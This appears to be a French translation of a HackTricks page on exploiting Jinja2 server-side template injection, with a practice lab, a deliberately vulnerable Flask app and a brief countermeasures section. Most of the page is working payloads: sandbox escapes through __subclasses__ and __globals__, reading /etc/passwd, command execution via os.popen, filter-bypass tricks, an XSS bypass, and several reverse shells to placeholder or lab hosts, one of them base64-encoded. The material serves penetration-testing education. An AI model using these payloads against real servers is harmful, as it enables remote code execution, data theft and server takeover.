16 KiB
Laboratoire
Installation
Pour ce laboratoire, nous aurons besoin de l'image Docker suivante:
docker pull carlospolop/jinja2-ssti
Et nous pouvons l'exécuter avec:
docker run --rm -it -p 5000:5000 carlospolop/jinja2-ssti
Exploitation
Introduction
Jinja2 est un moteur de template pour Python. Il est utilisé pour générer des pages HTML, des courriels et d'autres types de documents. Les SSTI (Server-Side Template Injection) sont des vulnérabilités qui permettent à un attaquant d'injecter du code dans un template, qui sera ensuite exécuté par le serveur. Cela peut entraîner des fuites d'informations sensibles, des attaques de type XSS (Cross-Site Scripting) et même une exécution de code à distance.
Exploitation
Dans ce laboratoire, nous avons un formulaire de recherche qui utilise Jinja2 pour afficher les résultats. Nous pouvons utiliser cette fonctionnalité pour injecter du code malveillant.
Tout d'abord, nous pouvons vérifier si le serveur est vulnérable en envoyant une requête GET avec le paramètre {{7*7}}
:
curl http://localhost:5000/search\?query\=\{\{7\*7\}\}
Si le serveur est vulnérable, nous devrions voir 49
dans la réponse.
Maintenant, nous pouvons essayer d'injecter du code malveillant. Par exemple, nous pouvons essayer d'afficher le contenu du fichier /etc/passwd
en utilisant la commande cat
:
curl http://localhost:5000/search\?query\=\{\{config.items\(\)\[0\]\[1\].__class__.__mro__[1].__subclasses__\(\)\[283\].__init__.__globals__\['\_\_builtins\_\_'\]\['open'\]('/etc/passwd').read()\}\}
Nous devrions voir le contenu du fichier /etc/passwd
dans la réponse.
Contre-mesures
Pour éviter les SSTI, il est recommandé d'utiliser des templates qui ne permettent pas l'exécution de code arbitraire. Par exemple, Flask recommande d'utiliser le module Markup
pour échapper les caractères spéciaux dans les templates. De plus, il est important de valider les entrées utilisateur et de limiter les permissions du serveur.
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
if __name__ == "__main__":
app.run()
Divers
Déclaration de débogage
Si l'extension de débogage est activée, une balise debug
sera disponible pour afficher le contexte actuel ainsi que les filtres et tests disponibles. Cela est utile pour voir ce qui est disponible à utiliser dans le modèle sans configurer un débogueur.
<pre>
{% raw %}
{% debug %}
{% endraw %}
</pre>
Afficher toutes les variables de configuration
Source: https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement
{{ config }} #In these object you can find all the configured env variables
{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}
Injection Jinja
Tout d'abord, dans une injection Jinja, vous devez trouver un moyen de sortir du bac à sable et récupérer l'accès au flux d'exécution Python régulier. Pour ce faire, vous devez abuser des objets qui proviennent de l'environnement non-sandboxé mais qui sont accessibles depuis le bac à sable.
Accès aux objets globaux
Par exemple, dans le code render_template("hello.html", username=username, email=email)
, les objets username et email proviennent de l'environnement Python non sandboxé et seront accessibles à l'intérieur de l'environnement sandboxé.
****De plus, il existe d'autres objets qui seront toujours accessibles depuis l'environnement sandboxé, ce sont:
[]
''
()
dict
config
request
Récupération de <class 'object'>
Ensuite, à partir de ces objets, nous devons accéder à la classe: <class 'object'>
afin d'essayer de récupérer les classes définies. C'est parce que de cet objet, nous pouvons appeler la méthode __subclasses__
et accéder à toutes les classes de l'environnement python non sandboxé.
Pour accéder à cette classe d'objet, vous devez accéder à un objet de classe, puis accéder à __base__
, __mro__()[-1]
ou .
mro()[-1]
. Et puis, après avoir atteint cette classe d'objet, nous appelons __subclasses__()
.
Vérifiez ces exemples:
# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class
# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
Échappement RCE
Ayant récupéré <class 'object'>
et appelé __subclasses__
, nous pouvons maintenant utiliser ces classes pour lire et écrire des fichiers et exécuter du code.
L'appel à __subclasses__
nous a donné l'opportunité d'accéder à des centaines de nouvelles fonctions, nous serons heureux simplement en accédant à la classe de fichier pour lire/écrire des fichiers ou à toute classe ayant accès à une classe qui permet d'exécuter des commandes (comme os
).
Lire/écrire un fichier distant
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
RCE (Remote Code Execution)
L'exécution de code à distance (RCE) est une vulnérabilité qui permet à un attaquant d'exécuter du code à distance sur un serveur vulnérable. Cela peut être extrêmement dangereux car cela permet à l'attaquant de prendre le contrôle total du serveur et d'accéder à toutes les données et fonctionnalités qu'il contient. Les attaquants peuvent exploiter cette vulnérabilité en injectant du code malveillant dans une application ou en exploitant une vulnérabilité dans une application existante pour exécuter du code à distance. Les conséquences d'une RCE réussie peuvent être catastrophiques, allant de la perte de données à la prise de contrôle complète du système.
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}
Pour en savoir plus sur d'autres classes que vous pouvez utiliser pour échapper, vous pouvez vérifier:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Contournement de filtres
Contournements courants
Ces contournements nous permettront d'accéder aux attributs des objets sans utiliser certains caractères.
Nous avons déjà vu certains de ces contournements dans les exemples précédents, mais résumons-les ici:
# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
# Using with
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}
- Revenez ici pour plus d'options pour accéder à un objet global
- Revenez ici pour plus d'options pour accéder à la classe d'objet
- Lisez ceci pour obtenir RCE sans la classe d'objet
Éviter l'encodage HTML
Par défaut, Flask encode en HTML tout ce qui se trouve dans un modèle pour des raisons de sécurité :
{{'<script>alert(1);</script>'}}
#will be
<script>alert(1);</script>
Le filtre safe
nous permet d'injecter du JavaScript et du HTML dans la page sans qu'il soit encodé en HTML, comme ceci:
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
RCE en écrivant un fichier de configuration malveillant.
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
Sans plusieurs caractères
Sans {{
.
[
]
}}
_
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}
Injection Jinja sans <class 'object'>
À partir des objets globaux, il existe une autre façon d'obtenir une RCE sans utiliser cette classe.
Si vous parvenez à accéder à n'importe quelle fonction de ces objets globaux, vous pourrez accéder à __globals__.__builtins__
et à partir de là, la RCE est très simple.
Vous pouvez trouver des fonctions à partir des objets request
, config
et tout autre objet global intéressant auquel vous avez accès avec:
{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed
{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__
# You can iterate through children objects to find more
Une fois que vous avez trouvé certaines fonctions, vous pouvez récupérer les fonctions intégrées avec:
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
# All the bypasses seen in the previous sections are also valid
Références
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
- Vérifiez la technique d'attribut pour contourner les caractères interdits ici.
- https://twitter.com/SecGus/status/1198976764351066113
- https://hackmd.io/@Chivato/HyWsJ31dI
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.